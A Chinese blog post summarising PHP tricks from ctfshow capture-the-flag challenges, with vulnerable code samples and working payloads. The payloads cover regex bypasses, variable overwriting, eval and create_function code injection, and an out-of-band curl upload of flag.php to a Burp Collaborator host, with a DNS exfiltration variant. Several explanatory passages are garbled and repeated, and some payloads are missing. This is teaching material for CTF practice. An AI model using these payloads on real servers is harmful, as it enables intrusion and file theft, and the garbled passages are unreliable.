CTF中PHP相关题目考点总结(二)
介紹
本篇文章主要總結了我在寫ctfshow題目中遇到的關于PHP的考點。因為只總結知識點和考點會比較空洞,也不容易理解,所以我都是通過題目來總結考點,這樣的話比較容易理解。
PHP特性相關考點
一、
考點:php正則表達式的匹配模式差異。
例題:
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ #/i表示不區分大小寫,/m表示多行匹配if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;} } else{echo 'nonononono'; }例題分析:
字符 ^ 和 $ 同時使用時,表示精確匹配,需要匹配到以php開頭和以php結尾的字符串才會返回true,否則返回false
/m 多行匹配模式下,若存在換行\n并且有開始^或結束符的情況下,將以換行為分隔符,逐行進行匹配。因此當我們傳入以下payload時,第一個if正則匹配會返回true。但是當不是多行匹配模式的時候也就是在第二個if正則匹配中出現換行符‘符的情況下,將以換行為分隔符,逐行進行匹配。因此當我們傳入以下payload時,第一個if正則匹配會返回true。但是當不是多行匹配模式的時候也就是在第二個if正則匹配中出現換行符`%0a`的時,符的情況下,將以換行為分隔符,逐行進行匹配。因此當我們傳入以下payload時,第一個if正則匹配會返回true。但是當不是多行匹配模式的時候也就是在第二個if正則匹配中出現換行符‘cmd的值會被當做兩行處理,因此當我們傳入以下payload時,第二個if正則表達式匹配到的是aaaphp,不符合以php開頭和以php結尾會返回false,從而echo出flag。
payload如下:
?cmd=aaa%0aphp #%0a為換行符【相關技術文檔】
二、
考點:php變量覆蓋。
例題:
<?php highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你還想要flag嘛?'; $suces='既然你想要那給你吧!'; foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value; }foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value; } if(!($_POST['flag']==$flag)){die($error); } echo "your are good".$flag."\n"; die($suces); ?>例題分析:
這里利用的是變量覆蓋,關鍵點在
key=key=
value,這里把$key的值當作了變量。
例如 $key=flag 則$$key=$flag這里一共有三個變量,error、error、error、suces和flag;這里通過die(flag;這里通過die(flag;這里通過die(error)或者die($suces)都可以輸出flag,所以有兩個payload。
第一種:
通過die(error)輸出flag,首先我們把error)輸出flag,首先我們把error)輸出flag,首先我們把flag的值傳給test,接著再把test,接著再把test,接著再把test的值傳給error,于是error,于是error,于是error的值就是flag,再通過if判斷die輸出就是flag。
例如flag=ctfshowxxxxx,?test=flag,通過第一個for循環,也就是flag=ctfshow{xxxxx},?test=flag,通過第一個for循環,也就是flag=ctfshowxxxxx,?test=flag,通過第一個for循環,也就是test=flag,從而把變量flag的值賦給test變量,因此flag,從而把變量flag的值賦給test變量,因此flag,從而把變量flag的值賦給test變量,因此test=ctfshow{xxxxx},接著再通過第二個for循環,error=error=error=test,此時$error=ctfshow{xxxxx} paylload如下:
第二種:
通過die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達到下面if條件為0不執行死亡函數的目的,從而往下執行,die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達到下面if條件為0不執行死亡函數的目的,從而往下執行,die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達到下面if條件為0不執行死亡函數的目的,從而往下執行,die(suces)即可把flag輸出,payload如下:
三、
考點:PHP異常處理的利用,Exception處理用于在指定的錯誤發生時改變腳本的正常流程,是php內置的異常處理類。
例題:
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");} }例題分析:
這里傳入兩個參數,并且都需要有字母,我們用php內置類讓v1不進行報錯,v2執行我們的命令就好了。
Exception處理用于在指定的錯誤發生時改變腳本的正常流程,是php內置的異常處理類。
所以payload如下:
?v1=Exception&v2=system('tac fl36dg.txt')四、
考點一:PHP變量名由數字字母下劃線組成,是沒有.的 我從大佬的文章了解到,GET或POST方式傳進去的變量名,會自動將空格 + . [轉換為_。
例題:
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}} }例題分析:
這道題其中的一個難點是下面這行代碼:
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))PHP變量名由數字字母下劃線組成,是沒有.的 我從大佬的文章了解到,GET或POST方式傳進去的變量名,會自動將空格 + . [轉換為_。
有一種特殊情況,GET或POST方式傳參時,變量名中的 [ 也會被替換為_,但其后的字符就再進行替換了
如 CTF[SHOW.COM => CTF_SHOW.COM 所以payload如下:
很明顯這個解是非預期的,其實是可以通過正常步驟得到flag的。
出題人的預期解
get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])因為上面的代碼中的這個代碼語句 a=a=a=_SERVER[‘argv’]; 會將url傳入的變量存入數組a中,然后我們配合parse_str函數從數組a中取出fl0g=flag_give_me,配合eval函數,從而給fl0g變量賦值,這樣就可以繞過if語句,從而echo出flag。
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含著需要傳給web application的數據
這里進行了本地測試,注意需要在php.ini開啟register_argc_argv配置項,測試代碼為:
<?php $a=$_SERVER['argv']; var_dump($a);所以如果我們get傳入變量賦值語句,接著在post里面來執行這個賦值語句就可以完美繞過。
五、
考點一:利用php內置類FilesystemIterator 獲取指定目錄下的所有文件名。
考點二:getcwd()函數的作用時返回當前工作目錄。
例題:
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){die("error v1");}if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());"); } ?>例題分析:
這里正則進行了匹配,我們可以使用FilesystemIterator文件系統迭代器來進行利用,通過新建FilesystemIterator,使用getcwd()來顯示當前目錄下的所有文件的文件名,payload為:
?v1=FilesystemIterator&v2=getcwd知道flag所在文件的文件名和目錄后直接訪問即可獲得flag。
六、
考點一:PHP中邏輯運算符&&運算符比||運算符優先級高。
考點二:PHP中邏輯運算符&&和||執行的流程。
例題:
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}} }例題分析:
分析代碼:由于&&運算符比||運算符優先級高,并且我們不知道隨機數產生啥,所以$code === mt_rand(1,0x36D)的結果是false,同時我們看到code的值需要為admin,所以我們設置code=admin,又由于與運算(&&)一假則假,所以不再判斷 $password === $flag 的部分,然后就變成了:
if(false|| $username ==="admin")又由于或運算(||)一真則真,所以我們只要把username設置成admin即可,所以payload如下:
?username=admin&code=admin&password=1補充:
一、PHP中邏輯運算符&&和||的分析:
首先,我給出一段代碼:
<?php$test="李四";$test=="張三"&&$test="張三來了";echo $test; //輸出“李四”$test="李四";$test=="張三"||$test="張三不在這里";echo $test; //輸出“張三不在這里” ?>為什么會產生這樣的結果呢?如果按照平常的方法,我們最少要用個IF語句來判斷。可現在只是兩個邏輯運算就會把變量的值給改變了。下面我們來分析一下它的運行原理。
在參與邏輯運算的兩邊表達式中,是按照從左到右順序進行運算的。而“與”運算中只要有一個是假,整個表達式的結果為假。所以,當左邊表達式為假時,就無 需再進行運算了。這樣的處理無疑對程序的運行效率是大有好處的。所以說正如題目所說,是一種高效的用法。而邏輯或就不同了:只要一個為真那整個表達式就為 真。所以,在左邊為假的情況下,還要運行右邊的表達式判斷。明白或理解了上面所說,也就對結果不感到奇怪了。
最后,我們做以下總結:
對于“與”( && ) 運算: x && y當x為false時,直接跳過,不執行y;
對于“或”( || ) 運算 : x||y當x為true時,直接跳過,不執行y。
二、PHP運算符優先級一覽表:
| 1 | 無結合 | clone、new | clone 和 new |
| 2 | 從右向左 | ** | 算術運算符 |
| 3 | 從右向左 | ++、–、~、(int)、(float)、(string)、(array)、(object)、(bool)、@ | 類型、遞增/遞減、錯誤控制 |
| 4 | 無結合 | instanceof | 類型 |
| 5 | 從右向左 | ! | 邏輯運算符 |
| 6 | 從左向右 | *、/、% | 算術運算符 |
| 7 | 從左向右 | +、-、. | 算術運算符和字符串運算符 |
| 8 | 從左向右 | <<、>> | 位運算符 |
| 9 | 無結合 | <、<=、>、>= | 比較運算符 |
| 10 | 無結合 | 、!=、=、!==、<>、<=> | 比較運算符 |
| 11 | 從左向右 | & | 位運算符和引用 |
| 12 | 從左向右 | ^ | 位運算符 |
| 13 | 從左向右 | ||
| 14 | 從左向右 | && | 邏輯運算符 |
| 15 | 從左向右 | ||
| 16 | 從右向左 | ?? | null 合并運算符 |
| 17 | 從左向右 | ? : | 三元運算符 |
| 18 | 從右向左 | =、+=、-=、*=、**=、/=、.=、%=、&=、 | =、^=、<<=、>>= |
| 19 | 從左向右 | and | 邏輯運算符 |
| 20 | 從左向右 | xor | 邏輯運算符 |
| 21 | 從左向右 | or | 邏輯運算符 |
對具有相同優先級的運算符來說,從左向右的結合方向意味著將從左向右求值,從右向左結合方向則反之。對于無結合方向的則具有相同優先級的運算符,該運算符有可能無法與其自身結合。
七、
考點一:命令執行的騷操作:curl -F命令的使用。
考點二:Burp Collaborator 的使用和帶外攻擊的概念與流程。
例題:
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6個字母都還不夠呀?!");} }例題分析:
這個題主要是考察,命令執行的騷操作和curl -F的使用,分析一下代碼發現仿佛是只能讀取前面6個字符去執行命令,禁止了命令執行的函數,并且沒有寫入權限。那如果我們傳遞的參數就是$F本身,會不會發生變量覆蓋?
那我們來一個簡單的測試。
我們傳遞?F=`$F`;+sleep 3 發現網站確實sleep了一會,說明的確執行了sleep命令 **那為什么會這樣?** 因為是我們傳遞的`$F`;+sleep 3。先進行substr()函數截斷然后去執行eval()函數 這個函數的作用是執行php代碼,``是shell_exec()函數的縮寫,然后就去命令執行。 而$F就是我們輸入的`$F`;+sleep 3 所以最后執行的代碼應該是 ``$F`;+sleep 3`,所以就可以成功執行sleep函數 這里可能有點繞,可以慢慢理解下。然后就是利用curl去帶出flag.php
# payload: #其中-F 為帶文件的形式發送post請求 #xx是上傳文件的name值,flag.php就是上傳的文件 # payload中的url地址是我們從Collaborator Client上獲取到的,點擊copy to clipboard即可獲得?F=`$F`;+curl -X POST -F xx=@flag.php http://qa42kvxuxk5mxr5twr0d84hgf7lx9m.burpcollaborator.net我們在目標頁面輸入payload并發送后,然后點擊Poll now即可看到Burp的 Collaborator服務器與目標服務器的通信數據包,從而我們可以看到flag。
另外我們還可以利用dns帶外來獲取flag:
payload:?F = `$F`; curl `cat flag.php|grep "flag"`.hxmwnm.dnslog.cn補充:
**Burp Collaborator 的使用和帶外攻擊的概念與流程總。結:**https://blog.csdn.net/fageweiketang/article/details/89073662
八、
考點一:使用create_function()代碼注入
考點二:php里的默認命名空間相關知識
例題:
<?php highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);} }這道題對ctf變量進行了一個正則表達式過濾,post傳參的ctf和get傳參的show進行了組合,這里我們可以使用create_function()進行代碼注入
string create_function ( string args , string args , string code )
string $args 變量部分
string $code 方法代碼部分
而正則表達式我們可以用進行繞過,正好在php里代表默認命名空間。
php里默認命名空間是\,所有原生函數和類都在這個命名空間中。 普通調用一個函數,如果直接寫函數名function_name()調用,調用的時候其實相當于寫了一個相對路徑; 而如果是\function_name()這樣的形式去調用函數,則是表示寫了一個絕對路徑。 如果你在其他namespace里調用系統類,必須使用絕對路徑的寫法
最終payload為
?show=echo 123;}system("tac flag.php");//post: ctf=\create_function總結
以上是生活随笔為你收集整理的CTF中PHP相关题目考点总结(二)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF题目中遇到的PHP考点总结(一)
- 下一篇: 自我认为挺全面的【Web Service